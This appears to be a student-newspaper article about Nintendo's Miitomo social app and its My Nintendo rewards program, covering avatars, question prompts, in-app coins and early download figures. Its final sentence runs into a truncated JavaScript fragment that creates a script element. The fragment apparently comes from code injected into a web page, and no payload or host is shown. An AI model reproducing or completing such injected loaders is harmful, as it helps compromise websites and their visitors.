Nintendo’s Move into the Mobile Market

Hit or miss with their first social app


Elliot Johnson, Cactus Staff Writer

Smartphones are becoming more common. This means there is definitely a mobile market that companies are trying to get in on. Nintendo announced last year that they are partnering with DeNA, one of the most popular mobile gaming companies in Japan, and will be putting out about 5 mobile games/apps within the next couple of years. During their announcement, Nintendo had stated that their most popular video game franchises would get their own mobile apps along with some fairly new franchises.

At the end of last year, Miitomo was announced as their first free-to-play app. It was released in the US on March 31st alongside Nintendo’s new reward program, My Nintendo. Miitomo is a sort of social network/mobile game app where a person gets to make their own Mii, Nintendo’s customizable avatar characters, to represent the user. Every aspect of a Mii can be customized from the body type, to facial features, to the voice of the avatar. The voice is a new feature added to Nintendo’s Mii’s; they now have a voice and will speak anything that is typed.

Nintendo’s goal with Miitomo is for a user to get to know their friends better. A user can add friends from Twitter, Facebook, face to face, or a friend of a friend in Miitomo. While the user answers an endless series of questions, their Mii relates the answers to others in their friends list. The variety of questions include: “What’s your favorite food?” “How would you define intelligence?” “What mistake have you really learned from?” The type of questions can range from casual conversation to a therapy session with yourself that friends will learn a lot about you from. Friends can like and comment on answers or leave a Miifoto, photos made using the Miitomo app, as a reply.

Users can earn in-game coins from answering questions, commenting on answers, or listening to answers. The coins earned can be used to buy clothing in the shop or playing the Mii drop minigames for more clothing. Dressing up a user’s Mii in wacky and interesting clothes is another key feature that makes Miitomo fun. Hearing a friend’s Mii talk about themselves while dressed as a hot dog might make you chuckle.

Nintendo’s first mobile app has definitely made some headlines as it hit 1.6 million downloads in the US with both Android and iOS in the first four days of its release. It seems like Miitomo is going to be another hit for Nintendo, but we we’ll have to wait and see if it can keep the traction. The app has daily rewards for logging in and new clothes in the shop every day. The users that will benefit the most from continued use of the app are My Nintendo members.

My Nintendo, on the other hand, is Nintendo’s new reward program that came out around the same time as Miitomo. My Nintendo offers various missions to collect coins that members can spend on special Nintendo offers, such as WiiU & 3DS game coupons, WiiU & 3DS game download codes, and special Miitomo items. Missions include connecting social network accounts to a member’s Nintendo account, daily missions in Miitomo, or buying digital products from the Nintendo eShop.

Anyone can join My Nintendo and anyone can enjoy Miitomo. A user does not need to have both. It’s just Nintendo’s way to keep users interested in their services and products. We can only hope it keeps users interested until Nintendo’s next app of video game.var d=document;var s=d.createElement(‘script’);